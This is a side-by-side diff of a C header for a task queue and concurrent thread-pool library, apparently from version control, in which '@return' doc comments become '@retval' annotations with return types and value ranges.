45int task_fire(task *tsk); 45int task_fire(task *tsk);
46 46
@@ -48,7 +48,7 @@ int task_fire(task *tsk);
48 * @brief Fire and destroy a task simultaneously. Calls specified callback and free-callback on associated data 48 * @brief Fire and destroy a task simultaneously. Calls specified callback and free-callback on associated data
49 * 49 *
50 * @param tsk Task to be fired and destroyed. Must be non-null 50 * @param tsk Task to be fired and destroyed. Must be non-null
51 * @return int Returns value of the callback. Returns -1 and sets errno on error 51 * @retval (int) Returns value of the callback. Returns -1 and sets errno on error
52 */ 52 */
53int task_fired(task *tsk); 53int task_fired(task *tsk);
54 54
@@ -57,7 +57,7 @@ int task_fired(task *tsk);
57/** 57/**
58 * @brief Create a FIFO queue of tasks 58 * @brief Create a FIFO queue of tasks
59 * 59 *
60 * @return taskqueue* Returns a new taskqueue object. Returns `null` and sets errno on error 60 * @retval (taskqueue*)[NULL, taskqueue*] Returns a new taskqueue object. Returns `null` and sets errno on error
61 */ 61 */
62taskqueue * taskqueue_init(void); 62taskqueue * taskqueue_init(void);
63 63
@@ -73,7 +73,7 @@ void taskqueue_free(void *tq);
73 * 73 *
74 * @param tq The taskqueue to be modified. Must be non-null 74 * @param tq The taskqueue to be modified. Must be non-null
75 * @param tsk The task to push. Must be non-null 75 * @param tsk The task to push. Must be non-null
76 * @return int Returns 0 on success, sets errno and returns -1 on error 76 * @retval (int)[-1, 0] Returns 0 on success, sets errno and returns -1 on error
77 */ 77 */
78int taskqueue_push(taskqueue *tq, task *tsk); 78int taskqueue_push(taskqueue *tq, task *tsk);
79 79
@@ -81,7 +81,7 @@ int taskqueue_push(taskqueue *tq, task *tsk);
81 * @brief Pop a task from a taskqueue 81 * @brief Pop a task from a taskqueue
82 * 82 *
83 * @param tq A taskqueue to grab a task from. Must be non-null 83 * @param tq A taskqueue to grab a task from. Must be non-null
84 * @return task* Returns a task on success, sets errno and returns `null` on error 84 * @retval (task*)[NULL, task*] Returns a task on success, sets errno and returns `null` on error
85 */ 85 */
86task * taskqueue_pop(taskqueue *tq); 86task * taskqueue_pop(taskqueue *tq);
87 87
@@ -90,7 +90,7 @@ task * taskqueue_pop(taskqueue *tq);
90 * 90 *
91 * @param tq The taskqueue to be modified. Must be non-null 91 * @param tq The taskqueue to be modified. Must be non-null
92 * @param tsk The task to be appended. Must be non-null 92 * @param tsk The task to be appended. Must be non-null
93 * @return int Returns 0 on success, sets errno and returns `null` on error 93 * @retval (int)[-1, 0] Returns 0 on success, sets errno and returns -1 on error
94 */ 94 */
95int taskqueue_pushfront(taskqueue *tq, task *tsk); 95int taskqueue_pushfront(taskqueue *tq, task *tsk);
96 96
@@ -98,7 +98,7 @@ int taskqueue_pushfront(taskqueue *tq, task *tsk);
98 * @brief Pop a task from the back (most recently pushed task) of a taskqueue 98 * @brief Pop a task from the back (most recently pushed task) of a taskqueue
99 * 99 *
100 * @param tq A taskqueue to pop from. Must be non-null 100 * @param tq A taskqueue to pop from. Must be non-null
101 * @return task* Returns a task on success, sets errno and returns `null` on error 101 * @retval (task*)[NULL, task*] Returns a task on success, sets errno and returns `null` on error
102 */ 102 */
103task * taskqueue_popback(taskqueue *tq); 103task * taskqueue_popback(taskqueue *tq);
104 104
@@ -108,7 +108,7 @@ task * taskqueue_popback(taskqueue *tq);
108 * @brief Create a concurrent taskqueue with `size` allocated threads 108 * @brief Create a concurrent taskqueue with `size` allocated threads
109 * 109 *
110 * @param size Number of threads in the threadpool. Must be greater than zero 110 * @param size Number of threads in the threadpool. Must be greater than zero
111 * @return ctqueue* Returns a new ctqueue, sets errno and returns `null` on error 111 * @retval (ctqueue*)[NULL, ctqueue*] Returns a new ctqueue, sets errno and returns `null` on error
112 */ 112 */
113ctqueue * ctqueue_init(int size); 113ctqueue * ctqueue_init(int size);
114 114
@@ -116,7 +116,7 @@ ctqueue * ctqueue_init(int size);
116 * @brief Cancel all tasks being processed in a currently running concurrent taskqueue 116 * @brief Cancel all tasks being processed in a currently running concurrent taskqueue
117 * 117 *
118 * @param ctq The concurrent taskqueue to be canceled. Must be non-null 118 * @param ctq The concurrent taskqueue to be canceled. Must be non-null
119 * @return int Returns 0 on success, sets errno and returns -1 on error 119 * @retval (int)[-1, 0] Returns 0 on success, sets errno and returns -1 on error
120 */ 120 */
121int ctqueue_cancel(ctqueue *ctq); 121int ctqueue_cancel(ctqueue *ctq);
122 122
@@ -134,7 +134,7 @@ void ctqueue_free(void *ctq);
134 * 134 *
135 * @param ctq The concurrent taskqueue to modify. Must be non-null 135 * @param ctq The concurrent taskqueue to modify. Must be non-null
136 * @param tsk The task to push. Must be non-null 136 * @param tsk The task to push. Must be non-null
137 * @return Returns `thrd_success` on success, returns `thrd_error` or `thrd_nomem` on error 137 * @retval (int) Returns `thrd_success` on success, returns `thrd_error` or `thrd_nomem` on error
138 */ 138 */
139int ctqueue_waitpush(ctqueue *ctq, task *tsk); 139int ctqueue_waitpush(ctqueue *ctq, task *tsk);
140 140
@@ -144,7 +144,7 @@ int ctqueue_waitpush(ctqueue *ctq, task *tsk);
144 * @attention May block for an indefinite amount of time to pop the task 144 * @attention May block for an indefinite amount of time to pop the task
145 * 145 *
146 * @param ctq The concurrent taskqueue to pop from. Must be non-null 146 * @param ctq The concurrent taskqueue to pop from. Must be non-null
147 * @return Returns a task on success, sets errno and returns `null` on error 147 * @retval (task*)[NULL, task*] Returns a task on success, sets errno and returns `null` on error
148 */ 148 */
149task * ctqueue_waitpop(ctqueue *ctq); 149task * ctqueue_waitpop(ctqueue *ctq);
150 150
@@ -153,7 +153,7 @@ task * ctqueue_waitpop(ctqueue *ctq);
153 * @attention Threads will not consume pushed tasks until this function is ran 153 * @attention Threads will not consume pushed tasks until this function is ran
154 * 154 *
155 * @param ctq A concurrent taskqueue to start. Must be non-null 155 * @param ctq A concurrent taskqueue to start. Must be non-null
156 * @return int Returns 0 on success, sets errno and returns -1 on error 156 * @retval (int)[-1, 0] Returns 0 on success, sets errno and returns -1 on error
157 */ 157 */
158int ctqueue_start(ctqueue *ctq); 158int ctqueue_start(ctqueue *ctq);
159 159